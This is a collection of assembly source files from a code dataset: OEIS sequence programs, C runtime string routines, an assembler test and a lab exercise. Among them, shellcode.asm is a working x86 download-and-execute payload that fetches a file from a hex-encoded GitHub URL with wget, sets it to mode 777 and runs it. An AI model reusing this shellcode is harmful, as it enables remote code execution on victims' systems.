{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': False, 'congruent': 1}}
{'00': 147, '58': 8799, '5f': 12883}
5f 58 5f 5f 5f 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 58 58 00 5f 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 58 58 5f 5f 5f 58 5f 5f 5f 58 58 5f 5f 5f 58 58 5f 58 5f 5f 58 58 5f 58 58 5f 5f 5f 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 58 5f 5f 58 58 5f 58 58 58 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 58 58 5f 58 5f 58 58 5f 58 5f 5f 58 5f 58 58 5f 58 58 5f 5f 5f 5f 58 5f 58 58 5f 5f 5f 58 58 58 58 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 5f 5f 5f 58 58 5f 5f 5f 58 58 58 58 5f 58 5f 5f 5f 5f 5f 5f 58 58 5f 58 00 5f 5f 5f 58 5f 5f 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 58 58 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 58 5f 58 5f 5f 5f 58 58 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 58 5f 5f 5f 58 5f 58 5f 58 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 5f 5f 58 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 58 00 58 5f 5f 5f 58 5f 5f 58 5f 5f 5f 58 5f 5f 5f 5f 5f 58 58 58 5f 5f 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 5f 58 5f 58 5f 58 5f 58 5f 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 58 58 5f 5f 58 58 58 5f 5f 5f 58 58 5f 58 58 5f 58 5f 58 5f 5f 58 58 5f 5f 5f 5f 5f 5f 5f 5f 58 5f 5f 58 58 5f 5f 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 5f 58 58 5f 5f 5f 58 58 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 58 5f 5f 5f 58 5f 5f 5f 58 58 58 5f 58 58 5f 5f 5f 58 5f 58 58 5f 58 58 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 58 5f 58 58 58 5f 58 58 58 5f 5f 5f 58 58 58 5f 5f 5f 5f 58 58 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 58 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 5f 5f 58 58 5f 58 58 5f 58 5f 5f 5f 5f 00 5f 5f 58 58 5f 58 00 5f 5f 5f 58 58 58 5f 58 5f 5f 58 5f 5f 58 5f 5f 5f 58 58 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 5f 58 5f 58 58 58 5f 58 5f 5f 5f 58 5f 58 58 5f 5f 58 58 58 5f 5f 5f 5f 58 58 5f 5f 5f 5f 58 5f 58 5f 00 5f 58 58 5f 5f 58 5f 5f 58 58 58 58 5f 58 58 58 5f 5f 58 58 5f 5f 58 5f 58 5f 58 5f 5f 58 58 5f 5f 5f 5f 58 58 58 5f 5f 5f 58 5f 5f 58 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 5f 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 58 58 5f 5f 5f 58 5f 5f 58 5f 5f 5f 58 58 5f 5f 58 58 58 5f 00 5f 5f 5f 58 58 58 5f 5f 58 5f 5f 58 58 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 58 5f 5f 58 5f 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 58 58 5f 5f 5f 5f 5f 5f 58 5f 58 58 58 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 5f 58 58 5f 5f 5f 5f 5f 58 5f 58 5f 58 5f 5f 58 5f 5f 58 58 58 58 5f 5f 5f 58 5f 58 5f 5f 5f 5f 58 58 58 5f 5f 5f 58 58 5f 58 58 5f 58 58 5f 58 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 5f 5f 58 58 58 58 5f 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 5f 5f 5f 5f 5f 58 58 5f 5f 5f 58 58 58 5f 58 5f 5f 58 58 5f 58 58 5f 58 5f 5f 58 5f 5f 5f 58 58 5f 5f 5f 58 58 58 5f 5f 5f 58 58 5f 5f 58 5f 5f 5f 58 5f 58 58 5f 5f 58 5f 5f 58 58 58 5f 5f 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 58 58 58 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 5f 5f 58 58
*/
|
||||
TheStack | 3434ec1654472de46cd934fa302cfb5d3fc524f9 | Assemblycode:Assembly | {"size": 595, "ext": "asm", "max_stars_repo_path": "oeis/022/A022527.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/022/A022527.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/022/A022527.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 59.5, "max_line_length": 484, "alphanum_fraction": 0.8537815126} | ; A022527: Nexus numbers: a(n) = (n+1)^11 - n^11.
; 1,2047,175099,4017157,44633821,313968931,1614529687,6612607849,22791125017,68618940391,185311670611,457696700077,1049152023349,2257404775627,4600190689711,8942430185041,16679710263217,29996513771599,52221848818987,88309741101781,145477500542221,234040800869107,368491456502599,568871385255097,862504647846601,1286158695972151,1888716079567747,2734448900916349,3907000298233957,5514190234294171,7693776896404831,10620320122559137,14513309494762849,19646737124305567,26360313735014491
mov $1,1
add $1,$0
pow $0,11
pow $1,11
sub $1,$0
mov $0,$1
|
||||
TheStack | f8cd50fa4fe7cfc6b6cbad01bebdcf360a4e6b41 | Assemblycode:Assembly | {"size": 1191, "ext": "asm", "max_stars_repo_path": "yasm-1.3.0/modules/objfmts/macho/tests/nasm32/macho32-size.asm", "max_stars_repo_name": "xu5343/ffmpegtoolkit_CentOS7", "max_stars_repo_stars_event_min_datetime": "2020-04-18T07:31:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T08:39:18.000Z", "max_issues_repo_path": "third_party/yasm/source/patched-yasm/modules/objfmts/macho/tests/nasm32/macho32-size.asm", "max_issues_repo_name": "cangulcan/src", "max_issues_repo_issues_event_min_datetime": "2020-04-18T08:22:18.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-08T13:04:49.000Z", "max_forks_repo_path": "third_party/yasm/source/patched-yasm/modules/objfmts/macho/tests/nasm32/macho32-size.asm", "max_forks_repo_name": "cangulcan/src", "max_forks_repo_forks_event_min_datetime": "2020-04-18T08:03:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T12:33:22.000Z"} | {"max_stars_count": 2151, "max_issues_count": 395, "max_forks_count": 338, "avg_line_length": 19.5245901639, "max_line_length": 73, "alphanum_fraction": 0.5331654072} | section .data align=16
align 16
mmx_yuy2_00ff dw 000ffh, 000ffh, 000ffh, 000ffh
section .text
; -- Import/Export ------------------------------------------------------
global mb_yuy2yuv_mmx
struc macroblock_yuy2_param
.dsty: resd 1
.dstu: resd 1
.dstv: resd 1
.dypitch: resd 1
.dcpitch: resd 1
.src: resd 1
.spitch: resd 1
endstruc
; -----------------------------------------------------------------------
; -= mb_yuy2yuv_mmx =-
;
; extern "C" int __fastcall mb_yuy2yuv_mmx( macroblock_param *param );
; -----------------------------------------------------------------------
align 16
mb_yuy2yuv_mmx:
push ebx
push edx
push esi
push edi
push ebp
mov esi, [ecx + macroblock_yuy2_param.src]
mov edx, [ecx + macroblock_yuy2_param.spitch]
mov edi, [ecx + macroblock_yuy2_param.dsty]
mov eax, [ecx + macroblock_yuy2_param.dstu]
mov ebx, [ecx + macroblock_yuy2_param.dstv]
mov ebp, [ecx + macroblock_yuy2_param.dypitch]
mov ecx, [ecx + macroblock_yuy2_param.dcpitch]
movq mm6, [mmx_yuy2_00ff]
pop ebp
pop edi
pop esi
pop edx
pop ebx
retn
|
||||
TheStack | e00aa74cbc97784d3198a11ed41e6d5daa0fdc05 | Assemblycode:Assembly | {"size": 380, "ext": "asm", "max_stars_repo_path": "programs/oeis/121/A121948.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/121/A121948.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/121/A121948.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 21.1111111111, "max_line_length": 201, "alphanum_fraction": 0.5184210526} | ; A121948: Floor of n-th 3-almost prime / n.
; 8,6,6,5,5,4,4,5,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4
lpb $0
sub $0,1
mul $0,2
dif $0,3
mov $1,2
lpe
add $0,$1
mov $1,4
mov $2,$0
cmp $2,0
add $0,$2
div $1,$0
add $1,4
mov $0,$1
|
||||
TheStack | 82ed160569ea9b6e6070d1a060c0482c700dafb6 | Assemblycode:Assembly | {"size": 520, "ext": "asm", "max_stars_repo_path": "Lab6/prob7_9.asm", "max_stars_repo_name": "richardhyy/AssemblyLab", "max_stars_repo_stars_event_min_datetime": "2021-06-26T14:52:16.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-23T03:48:48.000Z", "max_issues_repo_path": "Lab6/prob7_9.asm", "max_issues_repo_name": "richardhyy/AssemblyLab", "max_issues_repo_issues_event_min_datetime": "2021-06-26T14:12:21.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-26T14:18:54.000Z", "max_forks_repo_path": "Lab6/prob7_9.asm", "max_forks_repo_name": "richardhyy/AssemblyLab", "max_forks_repo_forks_event_min_datetime": "2021-11-30T06:06:08.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-16T03:55:42.000Z"} | {"max_stars_count": 3, "max_issues_count": 1, "max_forks_count": 4, "avg_line_length": 13.0, "max_line_length": 37, "alphanum_fraction": 0.6076923077} | assume cs:codesg,ss:stacksg,ds:datasg
stacksg segment
dw 0,0,0,0,0,0,0,0
stacksg ends
datasg segment
db '1. display '
db '2. brows '
db '3. replace '
db '4. modify '
datasg ends
codesg segment
start: mov ax,datasg
mov ds,ax
mov ax,stacksg
mov ss,ax
mov sp,10H
mov bx,3
mov cx,4
s: push cx
mov si,0
mov cx,4
s1: mov al,[bx][si]
and al,11011111b
mov [bx][si],al
inc si
loop s1
add bx,16
pop cx
loop s
mov ax,4c00H
int 21H
codesg ends
end start |
||||
TheStack | e182dc07edd75da81433622e9606ab71dab09f2c | Assemblycode:Assembly | {"size": 3821, "ext": "asm", "max_stars_repo_path": "Borland/CBuilder5/Source/RTL/source/cstrings/qstrchr.asm", "max_stars_repo_name": "TrevorDArcyEvans/DivingMagpieSoftware", "max_stars_repo_stars_event_min_datetime": "2021-05-27T10:27:25.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-27T10:27:25.000Z", "max_issues_repo_path": "Borland/CBuilder5/Source/RTL/source/cstrings/qstrchr.asm", "max_issues_repo_name": "TrevorDArcyEvans/Diving-Magpie-Software", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Borland/CBuilder5/Source/RTL/source/cstrings/qstrchr.asm", "max_forks_repo_name": "TrevorDArcyEvans/Diving-Magpie-Software", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 24.6516129032, "max_line_length": 77, "alphanum_fraction": 0.4585187124} | ;[]-----------------------------------------------------------------[]
;| QSTRCHR.ASM -- scans a string for a character (quick version) |
;[]-----------------------------------------------------------------[]
DWALIGN equ 1 ; set to 1 to enable dword-aligning of string
;
; C/C++ Run Time Library - Version 10.0
;
; Copyright (c) 1992, 2000 by Inprise Corporation
; All Rights Reserved.
;
; $Revision: 9.0 $
include RULES.ASI
; Segments Definitions
Header@
;-----------------------------------------------------------------------
;
;Name __strchr__ - scans a string for the first occurrence of a
; given character
;
;Usage char *__strchr__(const char *str, int c);
;
;Prototype in string.h
;
;Description __strchr__ scans a string in the forward direction, looking
; for a specific character. __strchr__ finds the first
; occurrence of the character ch in the string str.
;
; The null-terminator is considered
; to be part of the string, so that, for example
;
; __strchr__(strs, 0)
;
; returns a pointer to the terminating null character of the
; string "strs".
;
; NOTE: this is the "quick" version of strchr; it cheats
; by fetching 32-bit words, which can GP fault if the
; string is near the end of a memory region and DWALIGN
; is not set to 1 above.
;
;Return value __strchr__ returns a pointer to the first occurrence of the
; character ch in str; if ch does not occur in str, __strchr__
; returns NULL.
;
;-----------------------------------------------------------------------
Code_seg@
Func@ __strchr__, public, _RTLENTRYF, <pointer strng>, <int c>
Link@
mov eax,strng ; get source string
mov dl,c ; get char to search for
if DWALIGN
mov ecx, eax
and ecx, 3
jmp jmptab[ecx*4]
jmptab dd offset FLAT:fetch
dd offset FLAT:fetch3
dd offset FLAT:fetch2
dd offset FLAT:fetch1
; Fetch and compare three bytes
fetch3:
mov cl, [eax]
cmp cl, dl
je return0
or cl, cl
jz notfound
add eax, 1
; Fetch and compare two bytes
fetch2:
mov cl, [eax]
cmp cl, dl
je return0
or cl, cl
jz notfound
add eax, 1
; Fetch and compare one byte
fetch1:
mov cl, [eax]
cmp cl, dl
je return0
or cl, cl
jz notfound
add eax, 1
; jmp fetch
endif ; DWALIGN
fetch:
mov ecx, [eax] ; get next longword
cmp cl, dl ; check byte 0
je return0
or cl, cl
jz notfound
cmp ch, dl ; check byte 1
je return1
or ch, ch
jz notfound
shr ecx, 16 ; now check high bytes
cmp cl, dl ; check byte 2
je return2
or cl, cl
jz notfound
cmp ch, dl ; check byte 3
je return3
or ch, ch
jz notfound
add eax, 4
jmp fetch
notfound:
xor eax, eax ; not found, return NULL
Unlink@
Return@
return3:
add eax, 3
Unlink@
Return@
return2:
add eax, 2
Unlink@
Return@
return1:
inc eax
return0:
Unlink@
Return@
EndFunc@ __strchr__
Code_EndS@
end
|
||||
TheStack | 0722e575572eaa3e15b66bb57fecaaec48a2ed36 | Assemblycode:Assembly | {"size": 336, "ext": "asm", "max_stars_repo_path": "programs/oeis/322/A322108.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/322/A322108.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/322/A322108.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 25.8461538462, "max_line_length": 175, "alphanum_fraction": 0.7172619048} | ; A322108: Distance of n-th iteration in an alternating rectangular spiral.
; 1,3,7,15,29,50,79,118,169,233,311,405,517,648,799,972,1169,1391,1639,1915,2221,2558,2927,3330,3769,4245,4759,5313,5909,6548,7231,7960,8737,9563,10439,11367,12349,13386,14479
add $0,1
mov $1,$0
pow $0,2
add $0,3
sub $1,1
mul $0,$1
add $0,2
div $0,4
add $0,1
|
||||
TheStack | cd51f5368970e38809c66afc2108f54914e6c8f9 | Assemblycode:Assembly | {"size": 3958, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/string/z80/asm_strlcat.asm", "max_stars_repo_name": "UnivEngineer/z88dk", "max_stars_repo_stars_event_min_datetime": "2022-03-08T11:55:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-08T11:55:58.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/string/z80/asm_strlcat.asm", "max_issues_repo_name": "UnivEngineer/z88dk", "max_issues_repo_issues_event_min_datetime": "2022-03-20T22:17:35.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-24T16:10:00.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/string/z80/asm_strlcat.asm", "max_forks_repo_name": "jorgegv/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": 2, "max_forks_count": null, "avg_line_length": 17.3596491228, "max_line_length": 90, "alphanum_fraction": 0.5222334512} |
; ===============================================================
; Dec 2013 / Dec 2021 feilipu
; ===============================================================
;
; size_t strlcat(char * restrict s1, const char * restrict s2, size_t n)
;
; Append chars from s2 to s1 such that the total length of the resulting s1
; is maximum n chars including terminating NUL.
;
; s1 is unaltered if n < strlen(s1).
;
; Return strlen(s1) + strlen(s2).
;
; ===============================================================
SECTION code_clib
SECTION code_string
PUBLIC asm_strlcat
asm_strlcat:
; enter : hl = char *s1 = dst
; de = char *s2 = src
; bc = size_t n
; exit : hl = strlen(s1) + strlen(s2)
; bc = char *s1
; carry set if complete strlcat not possible
;
; uses : af, bc, de, hl
push hl ; save s1 to compute strlen(s1) later
ld a,b ; catch degenerate case where n == 0
or c
jr Z,szexceeded0
xor a ; find end of string s1
IF __CPU_INTEL__ || __CPU_GBZ80__
dec bc ; bc decr by one extra allowing for the dst NUL
dec bc
inc b
inc c
srchloop:
cp (hl)
jr Z,found_dst ; hl parked on NUL
inc hl
dec c
jr NZ,srchloop
dec b
jr NZ,srchloop
jr szexceeded0 ; oops, size exceeded within string s1
found_dst:
ELSE
cpir
dec hl ; hl parked on NUL and bc decr by one extra for the dst NUL
jp PO,szexceeded0 ; oops, size exceeded within string s1
ENDIF
; append to string s1 with chars from string s2
ex de,hl ; de = s1, hl = s2
IF __CPU_INTEL__ || __CPU_GBZ80__
cpyloop:
xor a
cp (hl)
jr Z,success
ld a,(hl+)
ld (de+),a
dec c
jr NZ,cpyloop
dec b
jr NZ,cpyloop
ELSE
cpyloop:
cp (hl)
jr Z,success
ldi
jp pe,cpyloop
ENDIF
; incomplete appending of string src
xor a
ld (de),a ; terminate string s1
szexceeded1:
; de = end of char *s1 (pointing at NUL)
; hl = somewhere in char *s2, next char to copy
; bc = 0
; a = 0
; carry reset
; stack = char *s1
push hl ; save current position in s2 to compute strlens later
IF __CPU_INTEL__ || __CPU_GBZ80__
endloop:
cp (hl)
jr Z,found_src ; find end of src
inc hl
dec c
jr NZ,endloop
dec b
jr NZ,endloop
found_src:
ELSE
cpir
dec hl ; hl = end of char *s2 (pointing at NUL)
ENDIF
pop bc
IF __CPU_8080__ || __CPU_GBZ80__
ld a,l
sub c
ld l,a
ld a,h
sbc b
ld h,a
ELIF __CPU_8085__
sub hl,bc
ELSE
sbc hl,bc
ENDIF
ex de,hl ; de = strlen(s2 remnant)
pop bc
IF __CPU_8080__ || __CPU_GBZ80__
ld a,l
sub c
ld l,a
ld a,h
sbc b
ld h,a
ELIF __CPU_8085__
sub hl,bc
ELSE
sbc hl,bc ; hl = strlen(result s1)
ENDIF
add hl,de ; return strlen(s1)+strlen(s2)
scf ; not enough space
ret
szexceeded0:
; hl = nth char in s1
; de = char *s2
; bc = 0
; a = 0
; carry reset
; stack = char *s1
IF __CPU_INTEL__ || __CPU_GBZ80__
loop0:
cp (hl)
jr Z,found_dst_end ; find end of dst
inc hl
dec c
jr NZ,loop0
dec b
jr NZ,loop0
found_dst_end:
ELSE
cpir
dec hl ; hl = end of char *s1 (pointing at NUL)
ENDIF
ld c,a
ld b,a
ex de,hl
jr szexceeded1
success:
ex de,hl
ld (hl),a ; terminate s1 with NUL
; hl = end of char *s1 (pointing at NUL)
; carry flag reset
; stack = char *s1
pop bc
IF __CPU_8080__ || __CPU_GBZ80__
ld a,l
sub c
ld l,a
ld a,h
sbc b
ld h,a
ELIF __CPU_8085__
sub hl,bc
ELSE
sbc hl,bc ; hl = strlen(final s1)
ENDIF
ret
|
||||
TheStack | 4cb5a9b8493b0ae7421d6edfaf2eabc3e820dc75 | Assemblycode:Assembly | {"size": 324, "ext": "asm", "max_stars_repo_path": "arch/lib/string/strlen.asm", "max_stars_repo_name": "Mosseridan/Compiler-Principles", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "arch/lib/string/strlen.asm", "max_issues_repo_name": "Mosseridan/Compiler-Principles", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "arch/lib/string/strlen.asm", "max_forks_repo_name": "Mosseridan/Compiler-Principles", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.0526315789, "max_line_length": 48, "alphanum_fraction": 0.6419753086} | /* strlen.asm
* Takes a pointer to a null-terminated string,
* and returns its length.
*
* Programmer: Mayer Goldberg, 2010
*/
STRLEN:
MOV(R1, STARG(0));
MOV(R0, IMM(0));
L_STRLEN_LOOP:
CMP(IND(R1), IMM('\0'));
JUMP_EQ(L_STRLEN_END);
INCR(R1);
INCR(R0);
JUMP(L_STRLEN_LOOP);
L_STRLEN_END:
RETURN;
|
||||
TheStack | 1102b353252a1142ba5f7ad692313c8d656d747f | Assemblycode:Assembly | {"size": 273, "ext": "asm", "max_stars_repo_path": "u7si/splitTranslateKeyAndMouse.asm", "max_stars_repo_name": "JohnGlassmyer/UltimaHacks", "max_stars_repo_stars_event_min_datetime": "2018-03-04T22:34:22.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-10T15:18:32.000Z", "max_issues_repo_path": "u7si/splitTranslateKeyAndMouse.asm", "max_issues_repo_name": "ptrie/UltimaHacks", "max_issues_repo_issues_event_min_datetime": "2018-11-20T04:06:49.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-08T16:37:10.000Z", "max_forks_repo_path": "u7si/splitTranslateKeyAndMouse.asm", "max_forks_repo_name": "ptrie/UltimaHacks", "max_forks_repo_forks_event_min_datetime": "2020-09-01T17:57:36.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-04T20:51:11.000Z"} | {"max_stars_count": 68, "max_issues_count": 19, "max_forks_count": 4, "avg_line_length": 30.3333333333, "max_line_length": 59, "alphanum_fraction": 0.8278388278} | %include "include/u7si-all-includes.asm"
defineAddress 119, 0x01C1, doKeyMouse
defineAddress 119, 0x01E7, doKeyMouse_end
defineAddress 119, 0x0217, readMouseState
defineAddress 119, 0x0222, haveKeyAndMouseState
%include "../u7-common/patch-splitTranslateKeyAndMouse.asm"
|
||||
TheStack | 7e68a8b363be8595a017dcf1dc1b13c37ec6a0e5 | Assemblycode:Assembly | {"size": 1365, "ext": "asm", "max_stars_repo_path": "shellcode/shellcode.asm", "max_stars_repo_name": "rvolosatovs/mooshy", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "shellcode/shellcode.asm", "max_issues_repo_name": "rvolosatovs/mooshy", "max_issues_repo_issues_event_min_datetime": "2018-04-11T15:45:30.000Z", "max_issues_repo_issues_event_max_datetime": "2018-05-06T20:14:06.000Z", "max_forks_repo_path": "shellcode/shellcode.asm", "max_forks_repo_name": "rvolosatovs/mooshy", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": 10, "max_forks_count": null, "avg_line_length": 15.6896551724, "max_line_length": 57, "alphanum_fraction": 0.6315018315} | ; Adapted from https://www.exploit-db.com/exploits/39389/
section .text
global _start
_start:
; fork
xor eax,eax
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
; waitpid
xor edx, edx
mov ebx, eax
xor eax,eax
mov al,0x7
int 0x80
; chmod
xor ecx,ecx
xor eax,eax
push eax
mov al,0xf
push byte +0x78
mov ebx,esp
xor ecx,ecx
mov cx,0x1ff
int 0x80
; execve
xor eax,eax
push eax
push byte +0x78
mov ebx,esp
push eax
mov edx,esp
push ebx
mov ecx,esp
mov al,0xb
int 0x80
; exit
xor eax,eax
inc eax
int 0x80
child:
; execve
push byte +0xb
pop eax
cdq
push edx
; url
push dword 0x782f332e
push dword 0x312e3176
push dword 0x2f64616f
push dword 0x6c6e776f
push dword 0x642f7365
push dword 0x7361656c
push dword 0x65722f79
push dword 0x68736f6f
push dword 0x6d2f7376
push dword 0x6f746173
push dword 0x6f6c6f76
push dword 0x722f6d6f
push dword 0x632e6275
push dword 0x68746967
push dword 0x2f2f3a73
push dword 0x70747468
mov ecx,esp
push edx
; /usr/bin/wget
push byte +0x74
push dword 0x6567772f
push dword 0x6e69622f
push dword 0x7273752f
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
|
||||
TheStack | 73482fdf37791c2741b8b3bcc066e9cd4d6a3f28 | Assemblycode:Assembly | {"size": 503, "ext": "asm", "max_stars_repo_path": "programs/oeis/284/A284621.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/284/A284621.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/284/A284621.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 71.8571428571, "max_line_length": 379, "alphanum_fraction": 0.7276341948} | ; A284621: Positions of 0 in A284620.
; 1,5,11,15,21,27,31,37,41,47,53,57,63,69,73,79,83,89,95,99,105,109,115,121,125,131,137,141,147,151,157,163,167,173,179,183,189,193,199,205,209,215,219,225,231,235,241,247,251,257,261,267,273,277,283,287,293,299,303,309,315,319,325,329,335,341,345,351,357,361,367,371,377,383,387,393,397,403,409,413,419,425,429,435,439,445,451,455,461,467,471,477,481,487,493,497,503,507,513,519
seq $0,288713 ; Positions of 1 in A288711; complement of A288712.
max $0,3
sub $0,2
|
||||
